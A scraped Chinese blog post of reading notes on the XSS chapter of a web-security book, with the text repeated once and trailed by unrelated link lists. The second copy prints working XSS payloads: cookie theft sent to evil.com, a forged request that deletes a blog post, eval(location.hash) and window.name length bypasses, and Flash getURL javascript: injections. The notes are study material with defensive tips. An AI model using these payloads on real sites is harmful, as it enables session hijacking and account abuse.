《白帽子讲web安全》第三章XSS读书笔记(一)
2015-09-23 13:47
232 查看
3.1 xss简介
cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss。
xss的产生原因是直接把用户的输入,输出到页面上,黑客可以输入脚本语句进行攻击。
xss的分类:反射性xss,需要诱使用户点击恶意链接才能攻击成功;存储型xss,也叫持久型xss,黑客输入的数据可以存储在服务器上;DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行攻击。
3.2 xss攻击进阶
3.2.1 初探xss payload
xss payload实际上就是java script,还可以说flash或其他富客户端脚本。
真正的payload写在远程脚本中,避免直接在url中写入大量代码,如:
3.2.2 强大的xss payload
构造get与post请求
get请求的例子:假设sohu博客上存在xss漏洞并且知道文章id,那么删除sohu博客该文章,只需调整:
xss钓鱼
xss缺少与用户交互,对于这个问题,书中举了两个例子,一个针对验证码,另一个上通过构造密码输入框,钓鱼方式获取用户密码。
识别用户浏览器
识别用户安装的软件
获取用户的真实ip地址
以上几个有需要的时候再研究了。
3.2.3 xss攻击平台
Attack API、BeEF、xss proxy
3.2.4 终极武器 xss worm
举了myspace和百度空间的两个例子,难度挺大。
3.2.5 调试js
firebug:第一利器,缺点是只对firefox支持最好。
IE developer tools、Fiddler、HttpWatch等。
3.2.6 xss构造技巧
利用字符编码:举了一个绕过“转义双引号”的例子。
绕过长度限制:
攻击者可以利用事件(event)来缩短字节数,代码为
window.name妙用:书中给了一个例子,代码如下
3.2.7 变废为宝
3.2.8 Flash XSS
在Flash中可以嵌入ActionScript脚本,一个最常见的Flash XSS:
除了用户上传的Flash文件能够实施脚本攻击,一些Flash也可能会有XSS漏洞,例如:
3.2.9 JavaScript开发框架
代码是人写的,高手偶尔也会犯错误。
Dojo 1.4.1、YUI 2.8.1都爆出过XSS漏洞。jQuery只是对JS进行了封装,如果用户能够控制输入,也可能会产生XSS。
本文出自 “quiterr” 博客,请务必保留此出处http://quiterr.blog.51cto.com/10710132/1697437
cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss。
xss的产生原因是直接把用户的输入,输出到页面上,黑客可以输入脚本语句进行攻击。
xss的分类:反射性xss,需要诱使用户点击恶意链接才能攻击成功;存储型xss,也叫持久型xss,黑客输入的数据可以存储在服务器上;DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行攻击。
3.2 xss攻击进阶
3.2.1 初探xss payload
xss payload实际上就是java script,还可以说flash或其他富客户端脚本。
真正的payload写在远程脚本中,避免直接在url中写入大量代码,如:
http://www.a.com/test.htm?abc="><script src=http://www.evil.com/evil.js></script>窃取cookie的代码:
var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img);cookie的HttpOnly可以防止Cookie劫持。
3.2.2 强大的xss payload
构造get与post请求
get请求的例子:假设sohu博客上存在xss漏洞并且知道文章id,那么删除sohu博客该文章,只需调整:
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=1234567post请求的例子:利用xss在豆瓣上发言,可以通过构造form或XMLHttpRequest两种方式发起post请求,代码较长,详见书的p48-49。书中还有一个更复杂的读取qq邮箱的例子。
xss钓鱼
xss缺少与用户交互,对于这个问题,书中举了两个例子,一个针对验证码,另一个上通过构造密码输入框,钓鱼方式获取用户密码。
识别用户浏览器
识别用户安装的软件
获取用户的真实ip地址
以上几个有需要的时候再研究了。
3.2.3 xss攻击平台
Attack API、BeEF、xss proxy
3.2.4 终极武器 xss worm
举了myspace和百度空间的两个例子,难度挺大。
3.2.5 调试js
firebug:第一利器,缺点是只对firefox支持最好。
IE developer tools、Fiddler、HttpWatch等。
3.2.6 xss构造技巧
利用字符编码:举了一个绕过“转义双引号”的例子。
绕过长度限制:
攻击者可以利用事件(event)来缩短字节数,代码为
"onclick=alert(1)//但利用event能够缩短多字节数是有限的,最好把代码藏到别处,最常用的藏代码的地方是“location.hash”,代码为
"onclick="eval(location.hash.substr(1))去掉第一个字符#,xss url为
http://www.a.com/test.html#alert(1)使用<base>标签:如果攻击者插入了<base>标签,就可以劫持所有使用了“相对路径”的标签。
window.name妙用:书中给了一个例子,代码如下
<script> window.name = "alert(document.cookie)"; location.href = http://www.xssedsite.com/xssed.php"; </script>xss payload为
eval(name);只有11个字节。个人觉得这里是用到了CSRF,需要先诱骗用户访问攻击者的网站。
3.2.7 变废为宝
3.2.8 Flash XSS
在Flash中可以嵌入ActionScript脚本,一个最常见的Flash XSS:
getURL("javascript:alert(document.cookie)")将Flash嵌入页面中:
<embed src = "http://yourhost/evil.swf" pluginpage = "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="0" height="0" ></embed>一般要禁止用户上传或加载自定义Flash文件,禁用<embed>、<object>(这个可以加载ActiveX控件)标签。如果网站一定要使用Flash,则应该使用静态的flv文件。如果是swf文件,则要配置参数进行限制,最主要的参数是allowScriptAccess、allowNetworking,建议设置为never、none
除了用户上传的Flash文件能够实施脚本攻击,一些Flash也可能会有XSS漏洞,例如:
on(release){ getURL(_root.clickTAG,"_blank");}这段代码缺乏输入验证,可被XSS攻击:
http://url/flash-file.swf?clickTAG=javascript:alert('xss')SWFIntruder工具可用来检查这种漏洞。
3.2.9 JavaScript开发框架
代码是人写的,高手偶尔也会犯错误。
Dojo 1.4.1、YUI 2.8.1都爆出过XSS漏洞。jQuery只是对JS进行了封装,如果用户能够控制输入,也可能会产生XSS。
本文出自 “quiterr” 博客,请务必保留此出处http://quiterr.blog.51cto.com/10710132/1697437
相关文章推荐
- Android数据库SQLite的使用示例
- OAF框架中的MDS是什么?OAPageContext&amp;OAWebBean是什么?
- js中substring和substr的用法
- [原创]目前手把一扑克牌游戏最详细的规则解读
- nyoj 27 水池数目
- jQuery表单Input文本框默认说明文字获得焦点后消失效果
- 懒人分享
- pdf文档的下载与查看 jsp页面
- linux 进程的pid分配策略——pid位图算法
- 【补充】第一次个人项目出现的bug
- 内部类的使用
- Android根据分辨率进行单位转换-(dp,sp转像素px)
- 百度地图添加覆盖物
- 开发日志整理3【Android tombstone分析 升级篇】
- ubuntu-kalli 4.0.0 下创建SMB文件
- Android字体大小怎么自适应不同分辨率?
- js url参数的获取和设置以及删除
- php+jquery+ajax实现用户名验证
- 如何成为程序员高手(转)
- Swift 最佳实践(未完待续)